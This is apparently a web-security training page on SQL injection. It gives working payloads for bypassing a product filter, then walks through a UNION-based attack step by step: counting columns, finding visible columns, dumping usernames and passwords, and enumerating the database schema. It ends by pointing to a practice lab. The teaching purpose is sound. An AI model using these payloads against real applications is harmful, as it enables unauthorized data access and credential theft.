When the results of the injected query come back in the response, a UNION attack is the fastest way to arbitrary data.

Retrieving hidden data

A filter category=Gifts becomes WHERE category = 'Gifts' AND released = 1. Inject to drop the released restriction:

/filter?category=Gifts'--
/filter?category=Gifts'+OR+1=1--

Now unreleased and hidden products appear.

UNION requirements

UNION SELECT appends rows from a second query. It needs:

• the same column count as the original query;
• compatible data types in the columns you use.

Step 1 — Count the columns

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--      <- error => original returns 2 columns

Or: ' UNION SELECT NULL--, ' UNION SELECT NULL,NULL--, … until no error.

Step 2 — Find columns that render

' UNION SELECT 'abc','def'--

Whichever literal appears in the HTML is a string-compatible, visible column.

Step 3 — Read data

' UNION SELECT username, password FROM users--

Pack multiple values into one visible column when needed:

' UNION SELECT NULL, username || '~' || password FROM users--   -- Postgres/Oracle
' UNION SELECT NULL, CONCAT(username,'~',password) FROM users--  -- MySQL

Step 4 — Enumerate the schema first if you don't know table names

' UNION SELECT table_name, NULL FROM information_schema.tables--
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--

On Oracle every table needs a FROM, so use FROM dual and all_tables / all_tab_columns.

Practice

Do this end to end in the UNION-based data extraction lab.